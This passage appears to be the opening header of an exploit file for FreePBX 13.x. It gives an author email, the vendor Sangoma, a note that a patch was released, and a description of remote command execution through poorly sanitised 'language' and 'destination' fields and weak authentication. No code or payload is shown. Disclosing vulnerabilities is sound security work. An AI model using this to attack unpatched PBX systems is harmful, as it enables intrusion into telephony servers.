#Email : 0x4148@gmail.com
#Current software status : patch released
#Vendor : Sangoma <freepbx.org>

=begin
Freepbx 13.x are vulnerable to Remote command execution due to the insuffecient sanitization of the user input fields language,destination and also due to the lack of good authentication checking
